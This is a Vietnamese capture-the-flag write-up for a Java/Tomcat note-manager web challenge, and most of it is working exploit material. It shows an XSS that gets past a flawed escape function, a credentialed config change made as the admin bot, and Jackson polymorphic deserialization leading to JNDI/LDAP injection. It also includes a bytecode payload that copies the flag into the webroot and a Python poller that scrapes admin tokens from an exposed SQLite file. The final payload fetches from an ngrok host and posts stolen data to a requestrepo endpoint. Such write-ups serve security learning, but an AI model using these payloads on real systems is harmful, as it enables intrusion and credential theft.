# Manager-book

Việc dùng innerHTML và việc thấy bot ở trong source khiến ta nghĩ ngay đến XSS -> note content được sanitize không strict dẫn đến việc bypass:
```javascript
function sanitize(html) {
return renderSimpleMarkdown(escapeHtml(html));
}
function escapeHtml(html) {
return html
.replace(/&/, "&")
.replace(/</, "<")
.replace(/>/, ">")
.replace(/"/, """)
.replace(/'/, "'")
}
function renderSimpleMarkdown(text) {
return text
.replace(/^### (.*)$/gm, '<h3>$1</h3>')
.replace(/`([^`]+)`/g, '<code>$1</code>')
.replace(/\*([^*\n]+)\*/g, '<em>$1</em>')
.replace(/\*\*([^*]+)\*\*/g, '<strong>$1</strong>')
.replace(/!\[([^\]]*)\]\(([^)]+)\)/g, '<img src="$2" alt="$1" height="48" width="48">');
}
```
Việc không dùng flag `g` trong regex khiến chỉ các kí tự đặc biệt cần được escapeHTML sẽ chỉ bị detect mỗi kí tự đầu tiên. Sau đó nó được xử lý với `renderSimpleMarkdown` mục đích chính của hàm này là convert từ markdown sang HTML.
Ví dụ như sau:
```
<img src=1><img src="x" onerror="alert(1)">
```
pipe 1: khi vào escapeHtml nó chỉ thay thế các kí tự đầu -> nên output là `<img src=1><img src="x" onerror="alert(1)">`
pipe 2: khi vào renderSimpleMarkdown `<img src=1><img src="x" onerror="alert(1)">` không match với kí tự nào cho nên là output còn nguyên vẹn.
Tương tự thì có khá nhiều cách khác có thể dùng để bypass.
ý tưởng: xss được nhưng HTTP only lên không thể steal cookie của admin(bot), cho nên ta sẽ dùng option `credentials: 'include'` cho phép sử dụng cred để gọi các api với role của bot luôn -> ta xác nhận được rằng tại AdminController sẽ cho phép người dùng admin sửa đổi siteConfig và ở đây với SiteConfig instance ta có thể truyền thêm giá trị của attribute `dbIntegrityHelper` trong model SiteConfig:
:::spoiler SiteConfig.java
```java
package com.lqc.models;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.annotation.JsonTypeInfo.As;
import com.fasterxml.jackson.annotation.JsonTypeInfo.Id;
public class SiteConfig {
private int deleteAllNotesAfterMinutes = -1;
private String siteTitle = "NoteManager";
private String footerDescription = "NoSpaceAvailable";
private boolean enableRegistration = true;
@JsonTypeInfo(
use = Id.CLASS,
include = As.PROPERTY,
property = "@class"
)
private Object dbIntegrityHelper = null;
public SiteConfig() {
}
public int getDeleteAllNotesAfterMinutes() {
return this.deleteAllNotesAfterMinutes;
}
public void setDeleteAllNotesAfterMinutes(int deleteAllNotesAfterMinutes) {
this.deleteAllNotesAfterMinutes = deleteAllNotesAfterMinutes;
}
public String getSiteTitle() {
return this.siteTitle;
}
public void setSiteTitle(String siteTitle) {
this.siteTitle = siteTitle;
}
public String getFooterDescription() {
return this.footerDescription;
}
public void setFooterDescription(String footerDescription) {
this.footerDescription = footerDescription;
}
public boolean isEnableRegistration() {
return this.enableRegistration;
}
public void setEnableRegistration(boolean enableRegistration) {
this.enableRegistration = enableRegistration;
}
public Object getDbIntegrityHelper() {
return this.dbIntegrityHelper;
}
public void setDbIntegrityHelper(Object dbIntegrityHelper) {
this.dbIntegrityHelper = dbIntegrityHelper;
}
}
```
:::
:::spoiler mã nguồn
```java
int interval = newConfig.getDeleteAllNotesAfterMinutes();
if (interval >= 1) {
ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor();
ScheduledFuture<?> handler = scheduler.scheduleAtFixedRate(new NoteCleanupTask(context), (long)newConfig.getDeleteAllNotesAfterMinutes(), (long)newConfig.getDeleteAllNotesAfterMinutes(), TimeUnit.MINUTES);
Object currentHandler = context.getAttribute("scheduler.handler");
if (currentHandler instanceof ScheduledFuture) {
((ScheduledFuture)currentHandler).cancel(true);
context.setAttribute("scheduler.handler", handler);
} else {
context.setAttribute("scheduler.handler", handler);
}
}
```
:::
Nếu ta update được mà `interval` thì sẽ có threadschedule run `NoteCleanupTask` sau time interval đó:
:::spoiler NoteCleanupTask.java
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.lqc.jobs;
import com.lqc.models.SiteConfig;
import com.lqc.services.DBService;
import com.lqc.utils.DatabaseTransactionHelper;
import java.sql.Connection;
import java.sql.PreparedStatement;
import javax.servlet.ServletContext;
import javax.transaction.TransactionManager;
public class NoteCleanupTask implements Runnable {
private final ServletContext ctx;
public NoteCleanupTask(ServletContext ctx) {
this.ctx = ctx;
}
public void run() {
try {
Object config = this.ctx.getAttribute("siteConfig");
if (!(config instanceof SiteConfig)) {
return;
}
if (((SiteConfig)config).getDeleteAllNotesAfterMinutes() <= 0) {
return;
}
System.out.println("Starting cleanup task...");
TransactionManager tm = DatabaseTransactionHelper.resolveTransactionManager(this.ctx);
if (tm != null) {
tm.begin();
}
try {
Connection conn = DBService.getConnection();
Throwable var23 = null;
try {
PreparedStatement ps = conn.prepareStatement("DELETE FROM notes");
ps.executeUpdate();
if (tm != null) {
tm.commit();
}
System.out.println("Notes cleanup task completed.");
} catch (Throwable var17) {
var23 = var17;
throw var17;
} finally {
if (conn != null) {
if (var23 != null) {
try {
conn.close();
} catch (Throwable var16) {
var23.addSuppressed(var16);
}
} else {
conn.close();
}
}
}
} catch (Exception var19) {
Exception e = var19;
if (tm != null) {
try {
tm.rollback();
} catch (Exception var15) {
Exception e1 = var15;
e1.printStackTrace();
}
}
e.printStackTrace();
}
} catch (Exception var20) {
Exception e = var20;
e.printStackTrace();
}
}
}
```
:::
Method run này sẽ được gọi với schedule kia -> dòng `TransactionManager tm = DatabaseTransactionHelper.resolveTransactionManager(this.ctx);` được gọi:
:::spoiler DatabaseTransactionHelper.class
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.lqc.utils;
import com.lqc.models.SiteConfig;
import javax.servlet.ServletContext;
import javax.transaction.TransactionManager;
import net.sf.ehcache.transaction.manager.TransactionManagerLookup;
public class DatabaseTransactionHelper {
public DatabaseTransactionHelper() {
}
public static TransactionManager resolveTransactionManager(ServletContext ctx) {
Object config = ctx.getAttribute("siteConfig");
if (!(config instanceof SiteConfig)) {
return null;
} else {
Object helper = ((SiteConfig)config).getDbIntegrityHelper();
if (helper == null) {
return null;
} else {
try {
TransactionManagerLookup tml = (TransactionManagerLookup)helper;
return tml.getTransactionManager();
} catch (Exception var4) {
return null;
}
}
}
}
}
```
:::
ở đây ta đã thấy để `getTransactionManager` thì helper sẽ phải implement TransactionManagerLookup để cast không bị lỗi

ở đây có 2 class và ta sẽ chọn: `DefaultTransactionManagerLookup`:
:::spoiler DefaultTransactionManagerLookup.java
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package net.sf.ehcache.transaction.manager;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Properties;
import java.util.Set;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
import javax.transaction.TransactionManager;
import net.sf.ehcache.CacheException;
import net.sf.ehcache.transaction.manager.selector.AtomikosSelector;
import net.sf.ehcache.transaction.manager.selector.BitronixSelector;
import net.sf.ehcache.transaction.manager.selector.GenericJndiSelector;
import net.sf.ehcache.transaction.manager.selector.GlassfishSelector;
import net.sf.ehcache.transaction.manager.selector.JndiSelector;
import net.sf.ehcache.transaction.manager.selector.NullSelector;
import net.sf.ehcache.transaction.manager.selector.Selector;
import net.sf.ehcache.transaction.manager.selector.WeblogicSelector;
import net.sf.ehcache.transaction.xa.EhcacheXAResource;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class DefaultTransactionManagerLookup implements TransactionManagerLookup {
private static final Logger LOG = LoggerFactory.getLogger(DefaultTransactionManagerLookup.class.getName());
private final Lock lock = new ReentrantLock();
private final List<EhcacheXAResource> uninitializedEhcacheXAResources = new ArrayList();
private volatile boolean initialized = false;
private volatile Selector selector;
private final JndiSelector defaultJndiSelector = new GenericJndiSelector();
private final Selector[] transactionManagerSelectors;
public DefaultTransactionManagerLookup() {
this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
}
public void init() {
if (!this.initialized) {
this.lock.lock();
try {
Iterator<EhcacheXAResource> iterator = this.uninitializedEhcacheXAResources.iterator();
while(iterator.hasNext()) {
if (this.getTransactionManager() == null) {
throw new CacheException("No Transaction Manager could be located, cannot initialize DefaultTransactionManagerLookup. Caches which registered an XAResource: " + this.getUninitializedXAResourceCacheNames());
}
EhcacheXAResource resource = (EhcacheXAResource)iterator.next();
this.selector.registerResource(resource, true);
iterator.remove();
}
} finally {
this.lock.unlock();
}
this.initialized = true;
}
}
private Set<String> getUninitializedXAResourceCacheNames() {
Set<String> names = new HashSet();
Iterator i$ = this.uninitializedEhcacheXAResources.iterator();
while(i$.hasNext()) {
EhcacheXAResource xar = (EhcacheXAResource)i$.next();
names.add(xar.getCacheName());
}
return names;
}
public TransactionManager getTransactionManager() {
if (this.selector == null) {
this.lock.lock();
try {
if (this.selector == null) {
this.lookupTransactionManager();
}
} finally {
this.lock.unlock();
}
}
return this.selector.getTransactionManager();
}
private void lookupTransactionManager() {
Selector[] arr$ = this.transactionManagerSelectors;
int len$ = arr$.length;
for(int i$ = 0; i$ < len$; ++i$) {
Selector s = arr$[i$];
TransactionManager transactionManager = s.getTransactionManager();
if (transactionManager != null) {
this.selector = s;
LOG.debug("Found TransactionManager for {}", s.getVendor());
return;
}
}
this.selector = new NullSelector();
LOG.debug("Found no TransactionManager");
}
public void register(EhcacheXAResource resource, boolean forRecovery) {
if (this.initialized) {
this.selector.registerResource(resource, forRecovery);
} else {
this.lock.lock();
try {
this.uninitializedEhcacheXAResources.add(resource);
} finally {
this.lock.unlock();
}
}
}
public void unregister(EhcacheXAResource resource, boolean forRecovery) {
if (this.initialized) {
this.selector.unregisterResource(resource, forRecovery);
} else {
this.lock.lock();
try {
Iterator<EhcacheXAResource> iterator = this.uninitializedEhcacheXAResources.iterator();
while(iterator.hasNext()) {
EhcacheXAResource uninitializedEhcacheXAResource = (EhcacheXAResource)iterator.next();
if (uninitializedEhcacheXAResource == resource) {
iterator.remove();
break;
}
}
} finally {
this.lock.unlock();
}
}
}
public void setProperties(Properties properties) {
if (properties != null) {
String jndiName = properties.getProperty("jndiName");
if (jndiName != null) {
this.defaultJndiSelector.setJndiName(jndiName);
}
}
}
}
```
:::
Method này được gọi:
```java
public TransactionManager getTransactionManager() {
if (this.selector == null) {
this.lock.lock();
try {
if (this.selector == null) {
this.lookupTransactionManager();
}
} finally {
this.lock.unlock();
}
}
return this.selector.getTransactionManager();
}
```
Nó gọi:
```java
public TransactionManager getTransactionManager() {
if (this.transactionManager == null) {
this.transactionManager = this.doLookup();
}
return this.transactionManager;
}
```
Và mình có thể tùy ý truyền các thuộc tính của class đó cho nên là `transactionManager==null` -> `this.doLookup()` được gọi:

:::spoiler JndiSelector.class
```java
protected TransactionManager doLookup() {
InitialContext initialContext;
try {
initialContext = new InitialContext();
} catch (NamingException var14) {
NamingException ne = var14;
LOG.debug("cannot create initial context", ne);
return null;
}
TransactionManager var3;
try {
try {
Object jndiObject = initialContext.lookup(this.getJndiName());
if (jndiObject instanceof TransactionManager) {
var3 = (TransactionManager)jndiObject;
return var3;
}
} catch (NamingException var15) {
LOG.debug("Couldn't locate TransactionManager for {} under {}", this.getVendor(), this.getJndiName());
}
var3 = null;
} finally {
try {
initialContext.close();
} catch (NamingException var13) {
NamingException ne = var13;
LOG.warn("error closing initial context", ne);
}
}
return var3;
}
public String getJndiName() {
return this.jndiName;
}
```
:::
ở đây quay lại với bài toán jndi: `Object jndiObject = initialContext.lookup(this.getJndiName());`; giá trị `jndiName` ta hoàn toàn có thể control và máy chủ có mạng.
Tuy nhiên 1 vấn đề thêm đó là:
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.lqc.security;
import java.security.Permission;
public class NoteSecurityManager extends SecurityManager {
public NoteSecurityManager() {
}
public void checkExec(String cmd) {
throw new SecurityException("You executed: " + cmd + ", nice try bro:)");
}
public void checkPackageAccess(String pkg) {
if (pkg.contains("sun.misc.")) {
throw new SecurityException("Private package: " + pkg);
} else {
super.checkPackageAccess(pkg);
}
}
public void checkPermission(Permission perm) {
}
public void checkPermission(Permission perm, Object context) {
}
}
```
Nó sẽ ngăn cản việc run các cmd và access vào package `pkg.contains("sun.misc.")` -> vì vậy để bypass nó thì ta chỉ cần không run cmd là được -> do đó ta sẽ dùng đọc file /flag-* và ghi ra web root của tomcat.
Ta chỉ cần đổi 1 chút của tool JNDI-Injection-Exploit là được -> sau đó build lại với maven:
:::spoiler Transformers
```java
package util;
import java.io.InputStream;
import org.objectweb.asm.*;
/**
* @Classname Transformers
* @Description Insert command to the template classfile
* @Author Welkin
*/
public class Transformers {
public static byte[] insertCommand(InputStream inputStream, String command) throws Exception {
ClassReader cr = new ClassReader(inputStream);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv = new TransformClass(cw, command);
cr.accept(cv, 2);
return cw.toByteArray();
}
static class TransformClass extends ClassVisitor {
String command;
TransformClass(ClassVisitor classVisitor, String command) {
super(Opcodes.ASM7, classVisitor);
this.command = command;
}
@Override
public MethodVisitor visitMethod(
final int access,
final String name,
final String descriptor,
final String signature,
final String[] exceptions) {
MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions);
if (name.equals("<clinit>")) {
return new TransformMethod(mv, command);
} else {
return mv;
}
}
}
static class TransformMethod extends MethodVisitor {
String command;
TransformMethod(MethodVisitor methodVisitor, String command) {
super(Opcodes.ASM7, methodVisitor);
this.command = command;
}
@Override
public void visitCode() {
super.visitCode();
Label label0 = new Label();
Label label1 = new Label();
Label label2 = new Label();
mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
mv.visitLabel(label0);
// String searchDir = command; (e.g., "/")
mv.visitLdcInsn(command);
mv.visitVarInsn(Opcodes.ASTORE, 0);
// DirectoryStream<Path> stream = Files.newDirectoryStream(Paths.get(searchDir), "flag-*");
mv.visitVarInsn(Opcodes.ALOAD, 0);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String");
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Paths", "get",
"(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;", false);
mv.visitLdcInsn("flag-*");
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Files", "newDirectoryStream",
"(Ljava/nio/file/Path;Ljava/lang/String;)Ljava/nio/file/DirectoryStream;", false);
mv.visitVarInsn(Opcodes.ASTORE, 1); // stream
// Iterator<Path> iterator = stream.iterator();
mv.visitVarInsn(Opcodes.ALOAD, 1);
mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/nio/file/DirectoryStream", "iterator",
"()Ljava/util/Iterator;", true);
mv.visitVarInsn(Opcodes.ASTORE, 2); // iterator
// while (iterator.hasNext())
Label loopStart = new Label();
Label loopEnd = new Label();
mv.visitLabel(loopStart);
mv.visitVarInsn(Opcodes.ALOAD, 2);
mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/util/Iterator", "hasNext",
"()Z", true);
mv.visitJumpInsn(Opcodes.IFEQ, loopEnd);
// Path filePath = iterator.next();
mv.visitVarInsn(Opcodes.ALOAD, 2);
mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/util/Iterator", "next",
"()Ljava/lang/Object;", true);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/nio/file/Path");
mv.visitVarInsn(Opcodes.ASTORE, 3); // filePath
// byte[] fileBytes = Files.readAllBytes(filePath);
mv.visitVarInsn(Opcodes.ALOAD, 3);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Files", "readAllBytes",
"(Ljava/nio/file/Path;)[B", false);
mv.visitVarInsn(Opcodes.ASTORE, 4); // fileBytes
// Path outPath = Paths.get("/usr/local/tomcat/webapps/ROOT/l3mnt2010.txt");
mv.visitLdcInsn("/usr/local/tomcat/webapps/ROOT/l3mnt2010.txt");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String");
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Paths", "get",
"(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;", false);
mv.visitVarInsn(Opcodes.ASTORE, 5); // outPath
// Files.write(outPath, fileBytes);
mv.visitVarInsn(Opcodes.ALOAD, 5); // outPath
mv.visitVarInsn(Opcodes.ALOAD, 4); // fileBytes
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/nio/file/OpenOption");
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Files", "write",
"(Ljava/nio/file/Path;[B[Ljava/nio/file/OpenOption;)Ljava/nio/file/Path;", false);
mv.visitInsn(Opcodes.POP);
// Break after first file (only process one file)
mv.visitJumpInsn(Opcodes.GOTO, loopEnd);
mv.visitLabel(loopEnd);
// stream.close();
mv.visitVarInsn(Opcodes.ALOAD, 1);
mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/nio/file/DirectoryStream", "close",
"()V", true);
mv.visitLabel(label1);
Label label3 = new Label();
mv.visitJumpInsn(Opcodes.GOTO, label3);
// } catch (Exception e) { e.printStackTrace(); }
mv.visitLabel(label2);
mv.visitVarInsn(Opcodes.ASTORE, 0);
mv.visitVarInsn(Opcodes.ALOAD, 0);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
mv.visitLabel(label3);
}
}
}
```
:::
Sau đó run jndi: `java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/" -A "IP-VPS"`
Lúc này việc khó nhằn nhất có vẻ đã xong -> tiếp theo là làm sao để lấy được `secretAccessToken` khi cho dù có lên được admin thì vẫn không thể đọc nó:

Lược lại 1 vòng nữa code - và xem trong docker container, này có vẻ là do author muốn đánh lừa 1 chút:

Và `ConfigLoaderListener` đã move nó vào web-root khi init:
:::spoiler ConfigLoaderListener
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.lqc.listeners;
import com.lqc.models.SiteConfig;
import com.lqc.security.NoteSecurityManager;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import javax.servlet.ServletContext;
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;
@WebListener
public class ConfigLoaderListener implements ServletContextListener {
public ConfigLoaderListener() {
}
public void contextInitialized(ServletContextEvent sce) {
ServletContext context = sce.getServletContext();
SiteConfig siteConfig = new SiteConfig();
context.setAttribute("siteConfig", siteConfig);
Path filePath = Paths.get("/usr/local/tomcat/webapps/ROOT/sqlite/authentication.db");
Path parent = filePath.getParent();
if (Files.notExists(parent, new LinkOption[0])) {
try {
Files.createDirectories(parent);
} catch (IOException var9) {
IOException e = var9;
throw new RuntimeException(e);
}
}
if (Files.notExists(filePath, new LinkOption[0])) {
Path source = Paths.get("/tmp/authentication.db");
try {
Files.move(source, filePath, StandardCopyOption.REPLACE_EXISTING);
Files.deleteIfExists(source);
} catch (IOException var8) {
IOException e = var8;
throw new RuntimeException(e);
}
}
System.setSecurityManager(new NoteSecurityManager());
}
public void contextDestroyed(ServletContextEvent sce) {
}
}
```
:::
Và sqlite cũng connect file .db ở trong path này:
:::spoiler DBService
```java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.lqc.services;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class DBService {
public DBService() {
}
public static Connection getConnection() throws SQLException {
String url = "jdbc:sqlite:/usr/local/tomcat/webapps/ROOT/sqlite/authentication.db";
try {
Class.forName("org.sqlite.JDBC");
} catch (Exception var2) {
Exception e = var2;
e.printStackTrace();
return null;
}
return DriverManager.getConnection(url);
}
}
```
:::
Ok vậy giờ đã có thể gọi được config của admin -> tự nhiên lại sinh ra 1 vấn đề nữa ``(¯\_(ツ)_/¯)`` đó là mỗi lần bot(admin) login lại `username:admin` thì token lại generate tiếp một value khác và lưu vào db, stuck tầm 3 4ph thì mình nghĩ ra một idea như sau:
Bây giờ mình sẽ host 1 python server sẽ trả về `secretAccessToken` gần như là realtime sau đó grep regex `admin([a-fA-F0-9]{64})([a-fA-F0-9]{64})` vì khi run os strings sẽ luôn nhận được chuỗi này: (mình nghĩ là do khi get file này qua http nó bị lỗi file format cho nên dùng sqliter select không được - hoặc do vấn đề kỹ năng:v)
```python
import requests
import time
import os
import re
from flask import Flask, Response
import threading
DB_URL = "http://challenge.cnsc.com.vn:31528/sqlite/authentication.db"
DB_FILE = "authentication.db"
CHECK_INTERVAL = 0.1
OLD_TOKEN = "0d0dce66f6e14f8404cf415b186eddce2fbbac5ce205c30913ac6c660f050ff2".lower()
latest_token = None
def fetch_db():
r = requests.get(DB_URL, timeout=10)
with open(DB_FILE, "wb") as f:
f.write(r.content)
def extract_token_by_strings(db_path):
with os.popen(f"strings {db_path}") as f:
lines = f.readlines()
for idx, line in enumerate(lines):
line = line.strip()
m = re.search(r'admin([a-fA-F0-9]{64})([a-fA-F0-9]{64})', line)
if m:
return m.group(2)
if 'admin' in line:
if idx + 1 < len(lines):
nxt = lines[idx+1].strip()
m2 = re.match(r'^[a-fA-F0-9]{64}$', nxt)
if m2:
return nxt
return None
def poll_token():
global latest_token
while True:
try:
fetch_db()
token = extract_token_by_strings(DB_FILE)
if token and token.lower() != OLD_TOKEN:
if not latest_token or token.lower() != latest_token.lower():
print(token)
latest_token = token
with open("new_token.txt", "w") as fout:
fout.write(token)
except Exception:
pass
time.sleep(CHECK_INTERVAL)
app = Flask(__name__)
@app.route("/")
def index():
resp = Response(latest_token if latest_token else "No token found yet.", mimetype="text/plain")
resp.headers["Access-Control-Allow-Origin"] = "*"
return resp
if __name__ == "__main__":
threading.Thread(target=poll_token, daemon=True).start()
app.run(host="0.0.0.0", port=8000)
```
Cuối cùng giờ sẽ tạo xss sau đó fetch token mới nhất rồi gọi ldap trigger -> cuối cùng gửi cho bot(admin)
```javascript
<img src=1><img src="x" onerror="(function loopFetchToken() {
fetch('http://0.tcp.ap.ngrok.io:12071/')
.then(r => r.text())
.then(token => {
token = token.trim();
if(token && token.indexOf('No token') !== 0) {
fetch('/api/admin/config', {
method: 'POST',
credentials: 'include',
body: JSON.stringify({
settings: {
footerDescription: 'aaaaaaaaaa',
siteTitle: 'aaaaaaaaaaaa',
deleteAllNotesAfterMinutes: 1,
enableRegistration: true,
dbIntegrityHelper: {
'@class': 'net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup',
properties: {
jndiName: 'ldap://flag/3g4vrm'
}
}
},
secretAccessToken: token
})
})
.then(response => response.json())
.then(data => {
fetch('https://c8m5zixc.requestrepo.com/leak', {
method: 'POST',
body: JSON.stringify(data)
});
});
}
setTimeout(loopFetchToken, 100);
});
})()">
```

flag: `W1{SaNDwlCH_aS_@_DeSSErT^^PL3aS3_dm-@No5P@ceav@1lABle_on_discord_and_show_your_solution0}`